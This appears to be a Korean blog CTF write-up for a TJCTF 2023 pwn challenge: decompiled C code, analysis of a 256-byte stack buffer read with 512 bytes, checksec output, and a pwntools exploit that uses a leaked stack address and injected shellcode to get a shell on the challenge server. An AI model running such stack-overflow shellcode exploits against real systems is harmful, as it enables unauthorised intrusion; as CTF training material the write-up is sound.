728x90
반응형
1. intro
2. code 및 분석
2.1. code
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[256]; // [rsp+0h] [rbp-100h] BYREF
setbuf(stdout, 0LL);
printf("0x%lx\n", s);
fgets(s, 512, stdin);
for ( i = 0; i <= 510 && s[i]; ++i )
{
if ( s[i] == 15 && s[i + 1] == 5 )
{
puts("nonono");
exit(1);
}
}
puts("ok");
return 0;
}
2.2. 분석
256바이트로 할당된 변수의 주소를 출력해주고, 이 위치에 512바이트의 값을 입력 받는다.
만일 입력된 값이 15나 5 이면 (sigreturn, fstat syscall을 막기 위함인 듯.) 강제 종료한다.
3. 취약점 확인 및 공격 준비
3.1. 취약점
오버플로우
3.2. 공격 준비
보호기법의 걸려있지 않고, 오버플로우가 가능하며, 스택에 실행권한이 있기 때문에 shellcode 실행이 가능하다.
┌[wyv3rn🐲]-(~/ctf)
└> checksec chall
[*] '/home/wyv3rn/ctf/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
더불어 프로그램 시작 시 stack의 주소를 출력해주기 때문에 return할 주소를 지정할 수 있다.
4. exploit
from pwn import *
#p = process('./chall')
p = remote('tjc.tf',31365)
leak = int(p.recvline()[:-1],16)
context.arch='amd64'
pay = b'A'*(256+8)
pay += p64(leak + 256+16) + asm(shellcraft.sh())
p.sendline(pay)
p.interactive()
728x90
반응형
'CTF > Solved' 카테고리의 다른 글
TJCTF 2023 - pwn/formatter (0) | 2023.05.29 |
---|---|
TJCTF 2023 - pwn/groppling-hook (0) | 2023.05.29 |
TJCTF 2023 - pwn/flip-out (0) | 2023.05.29 |
TJCTF 2023 - pwn/teenage-game (0) | 2023.05.26 |
TAMUctf 2023 - Bank (0) | 2023.05.01 |